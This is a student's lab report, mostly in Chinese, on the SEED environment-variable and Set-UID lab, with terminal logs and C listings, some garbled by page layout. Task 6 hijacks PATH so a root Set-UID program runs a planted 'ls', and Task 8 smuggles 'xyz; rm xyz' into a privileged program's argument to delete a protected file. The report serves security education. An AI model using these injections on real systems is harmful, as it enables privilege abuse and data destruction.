Lab1

Environment Variable and Set-UID Program Lab

Author: 57119108 吴桐

Date: 2021.7.6

Lab Tasks

Task 1: Manipulating Environment Variables

1.1 Use printenv or env command to print out the environment variables.

打开 shell 输入 printenv 或 env,结果分别如图 1、2 所示。env 和 printenv 均可以打印当前系统的环境变量。

```
[07/06/21]seed@VM:~$ printenv
SHELL=/bin/bash
SESSION MANAGER=local/VM:@/tmp/.ICE-unix/1535,unix/VM:/tmp/.ICE-unix/1535
QT ACCESSIBILITY=1
COLORTERM=truecolor
XDG CONFIG DIRS=/etc/xdg/xdg-ubuntu:/etc/xdg
XDG MENU PREFIX=gnome-
GNOME DESKTOP SESSION ID=this-is-deprecated
GNOME_SHELL_SESSION_MODE=ubuntu
SSH AUTH SOCK=/run/user/1000/keyring/ssh
XMODIFIERS=@im=ibus
DESKTOP SESSION=ubuntu
SSH AGENT PID=1462
GTK MODULES=gail:atk-bridge
PWD=/home/seed
LOGNAME=seed
XDG SESSION DESKTOP=ubuntu
XDG SESSION TYPE=x11
GPG AGENT INFO=/run/user/1000/gnupg/S.gpg-agent:0:1
XAUTHORITY=/run/user/1000/gdm/Xauthority
GJS_DEBUG_TOPICS=JS ERROR; JS LOG
WINDOWPATH=2
                                    图 1
[07/06/21]seed@VM:~$ env
SHELL=/bin/bash
SESSION_MANAGER=local/VM:@/tmp/.ICE-unix/1535,unix/VM:/tmp/.ICE-unix/1535
QT ACCESSIBILITY=1
COLORTERM=truecolor
XDG_CONFIG_DIRS=/etc/xdg/xdg-ubuntu:/etc/xdg
XDG MENU PREFIX=gnome-
GNOME DESKTOP SESSION ID=this-is-deprecated
GNOME SHELL SESSION MODE=ubuntu
SSH AUTH SOCK=/run/user/1000/keyring/ssh
XMODIFIERS=@im=ibus
DESKTOP_SESSION=ubuntu
SSH AGENT PID=1462
GTK MODULES=gail:atk-bridge
PWD=/home/seed
LOGNAME=seed
XDG_SESSION_DESKTOP=ubuntu
XDG SESSION TYPE=x11
GPG AGENT INFO=/run/user/1000/gnupg/S.gpg-agent:0:1
```

1.2 Use export and unset to set or unset environment variables.

使用 export 添加 TESTVAR 和 NEWRTESTVAR 两个变量。可以看到,如果仅仅是设置变量而不使用 export 将其加入环境变量中,使用 printenv 是无法显示该变量的。使用 unset 移除环境变量后,使用 echo 查看变量只能得到一行空输出(图 3)。

```
#include <unistd.h>
                                                                          #include <stdio.h>
                                                                          #include <stdlib.h>
                                                                           extern char **environ;
                                                                          void printenv()
[07/06/21]seed@VM:~$ TESTVAR="This is a test variable"
                                                                            int i = 0:
[07/06/21]seed@VM:~$ echo TESTVAR
                                                                            while (environ[i] != NULL)
TESTVAR
                                                                               printf("%s\n", environ[i]);
[07/06/21]seed@VM:~$ echo $TESTVAR
This is a test variable
[07/06/21]seed@VM:~$ printenv TESTVAR
                                                                          }
[07/06/21]seed@VM:~$ export TESTVAR
[07/06/21]seed@VM:~$ printenv TESTVAR
                                                                          void main()
This is a test variable
                                                                            pid t childPid;
[07/06/21]seed@VM:~$ export NEWTESTVAR="This is a new test variable"
                                                                             switch(childPid = fork()) {
[07/06/21]seed@VM:~$ printenv NEWTESTVAR
                                                                            case 0: /* child process */
printenv(); //1
This is a new test variable
[07/06/21]seed@VM:~$ unset TESTVAR
                                                                            exit(0);
default: /* parent process */
//printenv(); //2
[07/06/21]seed@VM:~$ echo $TESTVAR
[07/06/21]seed@VM:~$ unset NEWTESTVAR
                                                                               exit(0);
[07/06/21]seed@VM:~$ echo $NEWTESTVAR
                                    图 3
                                                                                          图 4
```

Task 2: Passing Environment Variables from Parent Process to Child Process

编译运行 lab1-2.c (图 4),将保留行①版本的运行结果保存在 child1 中,将保留行②版本的运行结果保存在 child2 中。使用 diff 命令对 child1 和 child2 两个文件进行行比较,可以看到,两个文件完全相同(图 5、6)。

```
[07/06/21]seed@VM:~/program$ gcc lab1-2.c -o lab1-2.out
[07/06/21]seed@VM:~/program$ lab1-2.out > child1
[07/06/21]seed@VM:~/program$ cat child1
SHELL=/bin/bash
SESSION MANAGER=local/VM:@/tmp/.ICE-unix/1535,unix/VM:/tmp/.ICE-unix/1535
QT ACCESSIBILITY=1
COLORTERM=truecolor
XDG_CONFIG_DIRS=/etc/xdg/xdg-ubuntu:/etc/xdg
XDG MENU PREFIX=gnome-
GNOME DESKTOP SESSION ID=this-is-deprecated
                                   图 5
         [07/06/21]seed@VM:~/program$ gcc lab1-2.c -o lab1-2.out
         [07/06/21]seed@VM:~/program$ lab1-2.out > child2
         [07/06/21]seed@VM:~/program$ diff child1 child2
         [07/06/21]seed@VM:~/program$
                                    图 6
```

fork()是创建进程函数。程序一旦开始运行,就会产生一个进程,当执行到 fork()时,就会创建一个子进程。此时父进程和子进程是共存的,它们会一起向下执行程序的代码。通过修改 printenv 的执行位置,构造出 child1(子进程的环境变量)和 child2(父进程的环境变量)。可以明确的是,子进程会继承父进程的环境变量。

Task 3: Environment Variables and execve()

编译运行 lab1-3.c (图 7), 结果如图 8。将 execve("/usr/bin/env", argv, NULL)更改为 execve("/usr/bin/env", argv, environ)后, 重新编译运行 lab1-3.c, 结果如图 9。

```
#include <stdio.h>
                  #include <stdlib.h>
                  #include <unistd.h>
                  extern char **environ;
                  int main()
                    char *argv[2];
                    argv[0] = "/usr/bin/env";
argv[1] = NULL;
                    execve("/usr/bin/env", argv, NULL);
                    return 0 ;
                  }
                                      图 7
          [07/06/21]seed@VM:~/program$ gcc lab1-3.c -o lab1-3.out
          [07/06/21]seed@VM:~/program$ lab1-3.out
         [07/06/21]seed@VM:~/program$
                                      图 8
[07/06/21] \textcolor{red}{\textbf{seed@VM:}} \textcolor{red}{\textbf{colab1-3.c -o lab1-3.out}}
[07/06/21]seed@VM:~/program$ lab1-3.out
SHELL=/bin/bash
SESSION MANAGER=local/VM:@/tmp/.ICE-unix/1535,unix/VM:/tmp/.ICE-unix/1535
QT ACCESSIBILITY=1
COLORTERM=truecolor
XDG CONFIG DIRS=/etc/xdg/xdg-ubuntu:/etc/xdg
XDG MENU PREFIX=gnome-
GNOME DESKTOP SESSION ID=this-is-deprecated
GNOME SHELL_SESSION_MODE=ubuntu
SSH AUTH SOCK=/run/user/1000/keyring/ssh
XMODIFIERS=@im=ibus
```

图 9

可以看到,后者成功输出了当前进程的环境变量,而前者失败了。要理解为何出现这样的现象,必须理解 execve()函数。

execve()函数接收三个参数:①执行程序的路径;②调用程序执行的参数序列;③传入新程序的环境变量。若成功不返回,失败返回-1。前者参数③传递的是NULL,所以打印为空。后者传递了外部环境变量数据给新程序,因此打印出了当前环境变量。

Task 4: Environment Variables and system()

编译运行实验教程提供的代码(lab1-4.c),结果如图 10。

```
1 int system(const char * cmdstring)
[07/06/21]seed@VM:~/program$ gcc lab1-4.c -o lab1-4.out
[07/06/21]seed@VM:~/program$ lab1-4.out
                                                               pid_t pid;
int status;
GJS_DEBUG_TOPICS=JS ERROR;JS LOG
LESSOPEN=| /usr/bin/lesspipe %s
                                                               if (cmdstring == NULL)
USER=seed
SSH AGENT PID=1462
XDG SESSION TYPE=x11
SHLVL=1
                                                               if ((pid = fork())<0)
HOME=/home/seed
OLDPWD=/home/seed
DESKTOP SESSION=ubuntu
GNOME SHELL SESSION MODE=ubuntu
GTK_MODULES=gail:atk-bridge
MANAGERPID=1254
DBUS SESSION BUS ADDRESS=unix:path=/run/user/1000/bus
COLORTERM=truecolor
                          图 10
                                                                  if(errno != EINTR)
                                                                   status = -1;
    本实验考察了对 system 函数实际运行情况的分析。
    system 函数用于执行命令,但与 execve 函数直接
                                                               return status;
```

执行命令不同, system 函数实际上执行"/bin/sh-c commond",即执行/bin/sh,再利用 shell 执行命令。

图 11

可以通过直接观察该函数源码(图 11)的方式了解 system 函数实际的调用方式与隐藏 的参数传递。system 函数通过 execl()不仅调用了/bin/sh,还将当前的环境变量数组传递给了 execve()。 执行流程即 fork child process → child process: exec commandString → father process: wait child process exit。因此使用 system 函数输出的环境变量即为当前程序实 际运行的环境变量。若执行成功返回子 shell 终止状态,fork()失败返回-1。

Task 5: Environment Variable and Set-UID Programs

编译运行实验教程提供的代码(lab1-5.c),并给程序手动提权(图 12)。

```
[07/06/21]seed@VM:~/program$ gcc lab1-5.c -o lab1-5.out
[07/06/21]seed@VM:~/program$ ls -l lab1-5.out
-rwxrwxr-x 1 seed seed 16768 Jul 6 05:58 lab1-5.out
[07/06/21]seed@VM:~/program$ sudo chown root lab1-5.out
[07/06/21]seed@VM:~/program$ sudo chmod 4755 lab1-5.out
[07/06/21]seed@VM:~/program$ ls -l lab1-5.out
-rwsr-xr-x 1 root seed 16768 Jul 6 05:58 lab1-5.out
```

图 12

添加 PATH、LD LIBRARY PATH 和 ANY NAME(COCOT)环境变量,运行程序后可以 看到 PATH 和 COCOT 下有 export 进去的./program (图 13、14), 但是 LD LIBRARY PATH 并没有显示出来。

```
[07/06/21]seed@VM:~/program$ export PATH=$PATH:./program
[07/06/21]seed@VM:~/program$ export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/program
[07/06/21]seed@VM:~/program$ export COCOT=$COCOT:/program
[07/06/21]seed@VM:~/program$ lab1-5.out
SHELL=/bin/bash
SESSION MANAGER=local/VM:@/tmp/.ICE-unix/1535,unix/VM:/tmp/.ICE-unix/1535
OT ACCESSIBILITY=1
COLORTERM=truecolor
XDG CONFIG DIRS=/etc/xdg/xdg-ubuntu:/etc/xdg
XDG MENU PREFIX=gnome-
GNOME DESKTOP SESSION_ID=this-is-deprecated
COCOT=:/program
GNOME_SHELL_SESSION_MODE=ubuntu
SSH_AUTH_SOCK=/run/user/1000/keyring/ssh
XMODIFIERS=@im=ibus
DESKTOP_SESSION=ubuntu
SSH_AGENT_PID=1462
```

图 13

```
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/usr/games:/usr/local/games:/snap/bin:.:./program
GDMSESSION=ubuntu
DBUS_SESSION_BUS_ADDRESS=unix:path=/run/user/1000/bus
OLDPWD=/home/seed
=./lab1-5.out
```

图 14

原因在于 LD_LIBRARY_PATH 是 Linux 自带的用于指定查找动态链接库的环境变量,Linux 为了防止用户篡改 LD_LIBRARY_PATH 进行恶意破坏,在运行 Set-UID 程序时就会自动忽略 LD_LIBRARY_PATH 环境变量。我们给之前的 Set_UID 程序"降权",再次运行lab1-5.out 即可观察到 LD LIBRARY PATH(图 15、16)。

```
[07/06/21]seed@VM:~/program$ sudo chmod 777 lab1-5.out [07/06/21]seed@VM:~/program$ sudo chown seed lab1-5.out [07/06/21]seed@VM:~/program$ ls -l lab1-5.out -rwxrwxrwx 1 seed seed 16768 Jul 6 05:58 lab1-5.out
```

图 15

```
QT_IM_MODULE=ibus

LD_LIBRARY_PATH=:/program

XDG_RUNTIME_DIR=/run/user/1000

JOURNAL_STREAM=9:33634

XDG_DATA_DIRS=/usr/share/ubuntu:/usr/local/share/:/usr/share/:/var/lib/snapd/des

ktop

PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/usr/games:/us

r/local/games:/snap/bin:.:./program

GDMSESSION=ubuntu

DBUS_SESSION_BUS_ADDRESS=unix:path=/run/user/1000/bus

OLDPWD=/home/seed

_=./lab1-5.out
```

图 16

Task 6: The PATH Environment Variable and Set-UID Programs

编译运行实验教程提供的代码(lab1-6.c),并给程序手动提权。此时运行 lab1-6.out,程序调用了/bin/ls,显示正常(图 17)。

```
[07/06/21]seed@VM:~/program$ gcc lab1-6.c -o lab1-6.out [07/06/21]seed@VM:~/program$ sudo chown root lab1-6.out [07/06/21]seed@VM:~/program$ sudo chmod 4755 lab1-6.out [07/06/21]seed@VM:~/program$ lab1-6.out child1 lab1-2.c lab1-3.c lab1-4.c lab1-5.c lab1-6.c child2 lab1-2.out lab1-3.out lab1-4.out lab1-5.out lab1-6.out
```

接下来我们要尝试复刻针对 Set-UID 程序中 system 函数的攻击。首先编写一个攻击文件(图 18),可以看到该程序就是 Task3 中给出的可以输出环境变量的程序。编译运行该程序,并将可执行程序名字命名为 ls。之后将当前目录添加至 PATH 之首,再次运行之前的 lab1-6.out,此时程序并没有像之前一样运行/bin/ls,而是转而运行当前目录下构造的 ls(图 19)。

```
#include <stdio.h>
        #include <stdlib.h>
        #include <unistd.h>
        extern char **environ;
        int main()
          char *argv[2];
          argv[0]="/usr/bin/env";
          argv[1]=NULL;
          execve("/usr/bin/env",argv,environ);
          return 0;
                           图 18
[07/06/21]seed@VM:~/program$ gcc ls.c -o ls
[07/06/21]seed@VM:~/program$ PATH=/home/seed/program:$PATH
[07/06/21]seed@VM:~/program$ lab1-6.out
GJS_DEBUG_TOPICS=JS ERROR;JS LOG
LESSOPEN=| /usr/bin/lesspipe %s
USER=seed
SSH AGENT PID=1462
XDG SESSION TYPE=x11
COCOT=:/program
SHLVL=1
HOME=/home/seed
OLDPWD=/home/seed
DESKTOP SESSION=ubuntu
```

图 19

之所以会出现情况,是因为我们在运行 lab1-6.out 的时候,system 函数没有提供绝对路径,为了"千方百计"地完成程序执行,链接器会在环境变量中顺序寻找含有 ls 程序的目录。我们操作过程中,将当前目录添加到了 PATH 之首,使得当前目录下的 ls 程序在 PATH 中运行优先级高于之后的/bin/ls/。这就导致链接器按照我们提供的"攻击目录",找到了我们预先准备好的"攻击文件"。链接器寻找成功后就会链接并运行找到的目标文件。在 system 函数的内部机制的作用下,我们完成了对 Set-UID 程序的攻击。

Task 8: Invoking External Programs Using system() versus execve()

编译运行实验教程提供的代码(lab1-8.c),并给程序手动提权(图 20)。

```
[07/06/21]seed@VM:~/program$ gcc lab1-8.c -o lab1-8.out [07/06/21]seed@VM:~/program$ sudo chown root lab1-8.out [07/06/21]seed@VM:~/program$ sudo chmod 4755 lab1-8.out
```

图 20

/bin/bash 有某种内在的保护机制可以阻止 Set-UID 机制的滥用,为了能够体验这种内在的保护级制出现之前的情形,我们打算使用另外一种 shell 程序——/bin/zsh。在一些 linux 的发行版中(Ubuntu),/bin/sh 实际上是/bin/bash 的符号链接。为了使用 zsh,我们需要把/bin/sh链接到/bin/zsh(图 21)。

```
[07/06/21]seed@VM:~/program$ sudo su
root@VM:/home/seed/program# cd /bin
root@VM:/bin# rm sh
root@VM:/bin# ln -s zsh sh
root@VM:/bin# exit
exit
```

图 21

之后我们将当前操作的文件夹所有者交给 root,并将权限设置为 755。在该文件夹下建立一个文档 xyz,在其中写入一些内容后,将文件权限提升至 000。首先,我们尝试仅使用 cat 读取 xyz,发现失败;运行 lab1-8.out 读取文件,结果显示成功读取。

接下来我们就要尝试对 Set-UID 程序中的 system 函数进行攻击。尝试直接移除 xyz 发现失败,因为此时文件夹属于 root,身为 seed 用户无法对其进行操作(如果文件夹属于 seed,即使文件夹内的文件权限为 000, seed 用户也可以直接将其删除)。我们在 shell 中输入

```
lab1-8.out "xyz; rm xyz"
```

回车运行后可以发现, xyz 文件被成功删除。此时我们完成了对 Set-UID 程序中的 system 函数的攻击,即利用其漏洞破坏系统的完整性(图 22)。

接下来我们要对比 system 和 execve 函数。将 lab1-8.c 中的 system 语句注释掉,换成 execve 语句。重新编译运行 lab1-8.c,并给程序手动提权。重复上述实验操作,可以发现这一次我们虽然可以通过 lab1-8.c 读取不可读的权限文件,但是没有办法删除 xyz 文件(图 23)。

```
[07/06/21]seed@VM:~$ sudo chown root program
[07/06/21]seed@VM:~$ sudo chmod 755 program
[07/06/21]seed@VM:~$ cd ./program
[07/06/21]seed@VM:~/program$ sudo touch xyz
[07/06/21]seed@VM:~/program$ sudo chmod 777 xyz
[07/06/21]seed@VM:~/program$ echo "hello world" > xyz
[07/06/21]seed@VM:~/program$ cat xyz
hello world
[07/06/21]seed@VM:~/program$ sudo chmod 000 xyz
[07/06/21]seed@VM:~/program$ cat xyz
cat: xyz: Permission denied
[07/06/21]seed@VM:~/program$ lab1-8.out xyz
hello world
[07/06/21]seed@VM:~/program$ rm xyz
rm: remove write-protected regular file 'xyz'? y
rm: cannot remove 'xyz': Permission denied
[07/06/21]seed@VM:~/program$ lab1-8.out "xyz;rm xyz"
hello world
[07/06/21]seed@VM:~/program$ lab1-8.out xyz
/bin/cat: xyz: No such file or directory
```

图 22

```
[07/06/21]seed@VM:-/program$ sudo gcc lab1-8.c -o lab1-8.out
[07/06/21]seed@VM:-/program$ sudo chown root lab1-8.out
[07/06/21]seed@VM:-/program$ sudo chmod 4755 lab1-8.out
[07/06/21]seed@VM:-/program$ sudo touch xyz
[07/06/21]seed@VM:-/program$ sudo chmod 777 xyz
[07/06/21]seed@VM:-/program$ sudo echo "hello world" > xyz
[07/06/21]seed@VM:-/program$ cat xyz
hello world
[07/06/21]seed@VM:-/program$ sudo chmod 000 xyz
[07/06/21]seed@VM:-/program$ cat xyz
cat: xyz: Permission denied
[07/06/21]seed@VM:-/program$ lab1-8.out xyz
hello world
[07/06/21]seed@VM:-/program$ lab1-8.out "xyz;rm xyz"
/bin/cat: 'xyz;rm xyz': No such file or directory
```

至于为什么会出现 system 版本的运行文件删除 xyz 成功,而 execve 版本的运行文件删除失败这种现象,是因为二者的内部实现逻辑不同。

在 Task4 中我们观察过 system 的源代码,可以发现 system 函调用了 excel('/bin/sh', '-c', command, (char *)0),再加上可执行文件的 Set-UID 位有效,于是我们获得了一个 root 权限的子 shell,这是实现"删除"的第一个必要条件。第二个必要条件是我们给可执行文件提供了一个字符串"xyz; rm xyz"作为输入,可以看到拥有 root 权限的 shell 实际上执行了两条命令:"/bin/cat xyz"和"rm xyz"。这就是为什么我们会在屏幕上先观察到一行输出(xyz 的内容),之后再查找 xyz 文件时发现该文件已被删除。

execve 的实质调用过程: sys_execve() → do_execve() → do_execve_common() → search_binary_handler() → start_thread() ,并不会默认调用/bin/sh,因此不能利用管道搭起有 root 权限的子 shell,从而非法删除文件(本质上只能运行/bin/cat 这一个命令)。

Summary

通过本次实验,我对环境变量和 Set-UID 机制有了一个初步的认知。环境变量(environment variables)是指在操作系统中用来指定操作系统运行环境的一些参数,它包含了一个或者多个应用程序所将使用到的信息。环境变量是操作系统中极其重要的一部分,但是由于我们的忽视,经常会引发致命的系统漏洞。本次实验由浅入深,从简单的输出环境变量,到利用 Set-UID 程序对系统进行"攻击尝试",从实践角度帮助我深入理解环境变量和 Set-UID 程序。除此之外,我还了解了环境变量如何从父进程传递到子进程,以及它们如何影响系统/程序的行为。

Task8 存在一个隐藏的问题: seed 用户可以在 seed 拥有的文件夹下"为所欲为",只有在 root 拥有的文件夹下才能创建出 seed 无法删除的文件;其次,要"解除"系统内部的保护机制,否则复刻 Set-UID 程序的攻击。

本次实验带给我最深的感触就是:实践确实是教学中不可取少的一部分,但是对实践背后的理论也要有深入理解,绝不能浅尝辄止。